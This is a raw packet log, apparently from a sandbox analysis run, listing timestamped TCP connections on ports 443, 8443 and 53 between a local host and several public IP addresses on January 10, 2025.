Jan 10, 2025 18:38:19.366816998 CET	49765	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:20.047727108 CET	443	49765	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:20.047844887 CET	443	49765	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:20.047920942 CET	49765	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:20.049065113 CET	49765	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:20.049082041 CET	443	49765	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:20.054831028 CET	49766	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.054867983 CET	443	49766	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:20.054954052 CET	49766	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.055332899 CET	49766	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.055345058 CET	443	49766	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:20.512934923 CET	443	49766	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:20.553594112 CET	49766	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.598856926 CET	49766	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.598869085 CET	443	49766	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:20.600121021 CET	443	49766	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:20.600193024 CET	49766	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.602756023 CET	49766	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.602782965 CET	49766	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.602828979 CET	443	49766	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:20.603034019 CET	443	49766	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:20.603075027 CET	49766	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.616560936 CET	49766	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.616599083 CET	443	49766	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:20.616611004 CET	49766	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.616657972 CET	49766	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.617098093 CET	49767	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.617161989 CET	443	49767	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:20.617229939 CET	49767	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.617476940 CET	49767	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:20.617495060 CET	443	49767	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:21.088829994 CET	443	49767	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:21.089534998 CET	49767	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:21.089551926 CET	443	49767	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:21.090923071 CET	443	49767	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:21.090989113 CET	49767	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:21.091458082 CET	49767	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:21.091523886 CET	443	49767	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:21.091623068 CET	49767	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:21.091630936 CET	443	49767	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:21.134196997 CET	49767	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:21.408636093 CET	443	49767	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:21.408724070 CET	443	49767	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:21.408843994 CET	49767	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:21.409879923 CET	49767	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:21.409899950 CET	443	49767	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:21.411034107 CET	49768	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:21.411055088 CET	443	49768	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:21.411132097 CET	49768	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:21.411354065 CET	49768	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:21.411362886 CET	443	49768	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:22.238066912 CET	443	49768	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:22.238512993 CET	49768	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:22.238523006 CET	443	49768	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:22.238893986 CET	443	49768	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:22.239161968 CET	49768	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:22.239219904 CET	443	49768	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:22.239290953 CET	49768	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:22.279344082 CET	443	49768	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:22.510715008 CET	443	49768	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:22.510806084 CET	443	49768	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:22.511015892 CET	49768	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:22.511447906 CET	49768	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:22.511473894 CET	443	49768	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:22.514010906 CET	49769	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:22.514116049 CET	443	49769	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:22.514215946 CET	49769	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:22.514453888 CET	49769	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:22.514487982 CET	443	49769	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:23.323195934 CET	443	49769	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:23.323481083 CET	49769	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:23.323518038 CET	443	49769	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:23.323853970 CET	443	49769	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:23.324651003 CET	49769	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:23.324719906 CET	443	49769	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:23.324868917 CET	49769	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:23.367413044 CET	443	49769	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:23.597498894 CET	443	49769	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:23.597579956 CET	443	49769	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:23.597664118 CET	49769	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:23.598315954 CET	49769	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:23.598365068 CET	443	49769	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:27.263880968 CET	49721	8443	192.168.2.11	188.114.97.3
Jan 10, 2025 18:38:27.268743992 CET	8443	49721	188.114.97.3	192.168.2.11
Jan 10, 2025 18:38:27.477987051 CET	49771	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:27.478055954 CET	443	49771	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:27.478121996 CET	49771	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:27.479562044 CET	49771	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:27.479576111 CET	443	49771	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:27.971800089 CET	443	49771	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:27.972119093 CET	49771	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:27.972138882 CET	443	49771	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:27.972521067 CET	443	49771	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:27.972872019 CET	49771	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:27.972937107 CET	443	49771	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:27.972954988 CET	49771	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:28.015331030 CET	443	49771	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:28.025016069 CET	49771	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:28.546617985 CET	443	49771	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:28.546730042 CET	443	49771	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:28.546786070 CET	49771	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:28.548028946 CET	49771	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:28.548053026 CET	443	49771	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:28.551673889 CET	49772	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:28.551718950 CET	443	49772	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:28.551788092 CET	49772	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:28.552126884 CET	49772	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:28.552139997 CET	443	49772	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.033967018 CET	443	49772	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.034368038 CET	49772	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.034378052 CET	443	49772	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.035428047 CET	443	49772	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.035517931 CET	49772	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.035856962 CET	49772	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.035870075 CET	49772	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.035921097 CET	443	49772	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.035922050 CET	49772	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.035983086 CET	49772	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.036302090 CET	49773	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.036333084 CET	443	49773	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.036400080 CET	49773	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.036659002 CET	49773	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.036675930 CET	443	49773	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.493990898 CET	443	49773	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.494287968 CET	49773	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.494363070 CET	443	49773	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.494710922 CET	443	49773	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.495188951 CET	49773	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.495277882 CET	443	49773	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.495407104 CET	49773	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.539355040 CET	443	49773	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.823250055 CET	443	49773	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.823354959 CET	443	49773	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.823424101 CET	49773	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.825817108 CET	49773	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:29.825853109 CET	443	49773	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:29.826850891 CET	49774	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:29.826904058 CET	443	49774	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:29.826972961 CET	49774	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:29.827240944 CET	49774	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:29.827254057 CET	443	49774	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:30.662178040 CET	443	49774	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:30.662455082 CET	49774	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:30.662506104 CET	443	49774	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:30.662887096 CET	443	49774	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:30.663351059 CET	49774	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:30.663424015 CET	443	49774	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:30.663547039 CET	49774	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:30.707335949 CET	443	49774	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:30.935758114 CET	443	49774	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:30.935853958 CET	443	49774	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:30.935940027 CET	49774	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:30.936280966 CET	49774	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:30.936301947 CET	443	49774	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:30.938028097 CET	49775	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:30.938075066 CET	443	49775	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:30.938147068 CET	49775	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:30.938376904 CET	49775	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:30.938385963 CET	443	49775	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:31.859911919 CET	443	49775	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:31.864028931 CET	49775	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:31.864048004 CET	443	49775	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:31.864463091 CET	443	49775	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:31.864897013 CET	49775	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:31.864954948 CET	443	49775	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:31.865091085 CET	49775	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:31.907326937 CET	443	49775	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:32.137032032 CET	443	49775	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:32.137145996 CET	443	49775	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:32.137252092 CET	49775	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:32.137979031 CET	49775	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:32.137994051 CET	443	49775	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:36.486164093 CET	49777	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:36.486192942 CET	443	49777	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:36.486257076 CET	49777	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:36.486754894 CET	49777	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:36.486767054 CET	443	49777	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:36.959567070 CET	443	49777	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:36.959844112 CET	49777	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:36.959856033 CET	443	49777	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:36.960381985 CET	443	49777	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:36.960746050 CET	49777	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:36.960813999 CET	49777	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:36.960818052 CET	443	49777	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:37.007328987 CET	443	49777	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:37.012860060 CET	49777	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:37.375471115 CET	49778	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:38:37.375519037 CET	443	49778	142.250.185.228	192.168.2.11
Jan 10, 2025 18:38:37.375624895 CET	49778	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:38:37.375854969 CET	49778	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:38:37.375861883 CET	443	49778	142.250.185.228	192.168.2.11
Jan 10, 2025 18:38:37.559732914 CET	443	49777	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:37.559844017 CET	443	49777	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:37.559895039 CET	49777	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:37.560570002 CET	49777	443	192.168.2.11	104.21.96.1
Jan 10, 2025 18:38:37.560585022 CET	443	49777	104.21.96.1	192.168.2.11
Jan 10, 2025 18:38:37.564522028 CET	49779	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:37.564552069 CET	443	49779	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:37.564630985 CET	49779	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:37.564975023 CET	49779	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:37.564987898 CET	443	49779	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.004461050 CET	443	49778	142.250.185.228	192.168.2.11
Jan 10, 2025 18:38:38.004736900 CET	49778	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:38:38.004764080 CET	443	49778	142.250.185.228	192.168.2.11
Jan 10, 2025 18:38:38.005106926 CET	443	49778	142.250.185.228	192.168.2.11
Jan 10, 2025 18:38:38.005366087 CET	49778	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:38:38.005431890 CET	443	49778	142.250.185.228	192.168.2.11
Jan 10, 2025 18:38:38.018820047 CET	443	49779	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.019062996 CET	49779	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.019079924 CET	443	49779	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.020018101 CET	443	49779	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.020093918 CET	49779	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.020378113 CET	49779	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.020395994 CET	49779	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.020438910 CET	443	49779	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.020446062 CET	49779	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.020495892 CET	49779	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.020905018 CET	49780	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.021008015 CET	443	49780	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.021102905 CET	49780	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.021255970 CET	49780	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.021279097 CET	443	49780	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.045639038 CET	49778	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:38:38.099339962 CET	49781	443	192.168.2.11	40.99.149.210
Jan 10, 2025 18:38:38.099368095 CET	443	49781	40.99.149.210	192.168.2.11
Jan 10, 2025 18:38:38.100251913 CET	49781	443	192.168.2.11	40.99.149.210
Jan 10, 2025 18:38:38.100251913 CET	49781	443	192.168.2.11	40.99.149.210
Jan 10, 2025 18:38:38.100281000 CET	443	49781	40.99.149.210	192.168.2.11
Jan 10, 2025 18:38:38.553844929 CET	443	49780	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.554215908 CET	49780	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.554287910 CET	443	49780	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.555370092 CET	443	49780	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.555454016 CET	49780	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.555762053 CET	49780	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.555836916 CET	443	49780	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.555905104 CET	49780	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.555923939 CET	443	49780	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.604048014 CET	49780	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.858620882 CET	443	49780	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.858710051 CET	443	49780	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.858910084 CET	49780	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.860071898 CET	49780	443	192.168.2.11	104.21.64.1
Jan 10, 2025 18:38:38.860121965 CET	443	49780	104.21.64.1	192.168.2.11
Jan 10, 2025 18:38:38.861145973 CET	49782	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:38.861181974 CET	443	49782	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:38.861280918 CET	49782	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:38.861494064 CET	49782	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:38.861502886 CET	443	49782	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:38.976197004 CET	443	49781	40.99.149.210	192.168.2.11
Jan 10, 2025 18:38:38.976537943 CET	49781	443	192.168.2.11	40.99.149.210
Jan 10, 2025 18:38:38.976557016 CET	443	49781	40.99.149.210	192.168.2.11
Jan 10, 2025 18:38:38.977597952 CET	443	49781	40.99.149.210	192.168.2.11
Jan 10, 2025 18:38:38.977686882 CET	49781	443	192.168.2.11	40.99.149.210
Jan 10, 2025 18:38:38.977694988 CET	443	49781	40.99.149.210	192.168.2.11
Jan 10, 2025 18:38:38.977741957 CET	49781	443	192.168.2.11	40.99.149.210
Jan 10, 2025 18:38:38.978135109 CET	49781	443	192.168.2.11	40.99.149.210
Jan 10, 2025 18:38:38.978194952 CET	443	49781	40.99.149.210	192.168.2.11
Jan 10, 2025 18:38:38.978352070 CET	49781	443	192.168.2.11	40.99.149.210
Jan 10, 2025 18:38:38.978358984 CET	443	49781	40.99.149.210	192.168.2.11
Jan 10, 2025 18:38:39.022703886 CET	49781	443	192.168.2.11	40.99.149.210
Jan 10, 2025 18:38:39.390506983 CET	443	49781	40.99.149.210	192.168.2.11
Jan 10, 2025 18:38:39.390696049 CET	443	49781	40.99.149.210	192.168.2.11
Jan 10, 2025 18:38:39.390767097 CET	49781	443	192.168.2.11	40.99.149.210
Jan 10, 2025 18:38:39.391144991 CET	49781	443	192.168.2.11	40.99.149.210
Jan 10, 2025 18:38:39.391174078 CET	443	49781	40.99.149.210	192.168.2.11
Jan 10, 2025 18:38:39.391186953 CET	49781	443	192.168.2.11	40.99.149.210
Jan 10, 2025 18:38:39.391272068 CET	49781	443	192.168.2.11	40.99.149.210
Jan 10, 2025 18:38:39.835921049 CET	443	49782	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:39.878878117 CET	49782	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:39.912111998 CET	49782	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:39.912122011 CET	443	49782	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:39.912754059 CET	443	49782	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:39.959038019 CET	49782	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:39.963238001 CET	49782	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:39.963332891 CET	443	49782	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:39.963471889 CET	49782	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:40.007332087 CET	443	49782	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:40.186554909 CET	443	49782	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:40.186655045 CET	443	49782	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:40.186728954 CET	49782	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:40.187447071 CET	49782	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:40.187462091 CET	443	49782	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:40.189232111 CET	49783	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:40.189285040 CET	443	49783	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:40.189363003 CET	49783	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:40.189606905 CET	49783	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:40.189625025 CET	443	49783	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:41.030790091 CET	443	49783	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:41.031104088 CET	49783	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:41.031124115 CET	443	49783	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:41.031512976 CET	443	49783	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:41.031799078 CET	49783	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:41.031924009 CET	49783	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:41.031934023 CET	443	49783	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:41.074007034 CET	49783	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:41.318708897 CET	443	49783	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:41.318784952 CET	443	49783	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:41.319008112 CET	49783	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:41.319869995 CET	49783	443	192.168.2.11	40.99.150.114
Jan 10, 2025 18:38:41.319890976 CET	443	49783	40.99.150.114	192.168.2.11
Jan 10, 2025 18:38:47.909075975 CET	443	49778	142.250.185.228	192.168.2.11
Jan 10, 2025 18:38:47.909142971 CET	443	49778	142.250.185.228	192.168.2.11
Jan 10, 2025 18:38:47.909425020 CET	49778	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:38:49.497160912 CET	49778	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:38:49.497188091 CET	443	49778	142.250.185.228	192.168.2.11
Jan 10, 2025 18:39:12.277786970 CET	49721	8443	192.168.2.11	188.114.97.3
Jan 10, 2025 18:39:12.282725096 CET	8443	49721	188.114.97.3	192.168.2.11
Jan 10, 2025 18:39:37.434921026 CET	49785	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:39:37.434978008 CET	443	49785	142.250.185.228	192.168.2.11
Jan 10, 2025 18:39:37.435112953 CET	49785	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:39:37.435367107 CET	49785	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:39:37.435379028 CET	443	49785	142.250.185.228	192.168.2.11
Jan 10, 2025 18:39:38.091139078 CET	443	49785	142.250.185.228	192.168.2.11
Jan 10, 2025 18:39:38.091660023 CET	49785	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:39:38.091691017 CET	443	49785	142.250.185.228	192.168.2.11
Jan 10, 2025 18:39:38.092008114 CET	443	49785	142.250.185.228	192.168.2.11
Jan 10, 2025 18:39:38.092319012 CET	49785	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:39:38.092372894 CET	443	49785	142.250.185.228	192.168.2.11
Jan 10, 2025 18:39:38.136346102 CET	49785	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:39:47.993846893 CET	443	49785	142.250.185.228	192.168.2.11
Jan 10, 2025 18:39:47.993932962 CET	443	49785	142.250.185.228	192.168.2.11
Jan 10, 2025 18:39:47.994061947 CET	49785	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:39:49.497905016 CET	49785	443	192.168.2.11	142.250.185.228
Jan 10, 2025 18:39:49.497956038 CET	443	49785	142.250.185.228	192.168.2.11
Jan 10, 2025 18:39:52.831614017 CET	52596	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:39:52.836528063 CET	53	52596	1.1.1.1	192.168.2.11
Jan 10, 2025 18:39:52.836668968 CET	52596	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:39:52.836724997 CET	52596	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:39:52.841512918 CET	53	52596	1.1.1.1	192.168.2.11
Jan 10, 2025 18:39:53.295267105 CET	53	52596	1.1.1.1	192.168.2.11
Jan 10, 2025 18:39:53.322685003 CET	52596	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:39:53.327755928 CET	53	52596	1.1.1.1	192.168.2.11
Jan 10, 2025 18:39:53.327905893 CET	52596	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:39:57.292591095 CET	49721	8443	192.168.2.11	188.114.97.3
Jan 10, 2025 18:39:57.297374010 CET	8443	49721	188.114.97.3	192.168.2.11
Jan 10, 2025 18:39:57.847433090 CET	62763	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:39:57.852333069 CET	53	62763	1.1.1.1	192.168.2.11
Jan 10, 2025 18:39:57.852427006 CET	62763	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:39:57.852462053 CET	62763	53	192.168.2.11	1.1.1.1
Jan 10, 2025 18:39:57.857212067 CET	53	62763	1.1.1.1	192.168.2.11
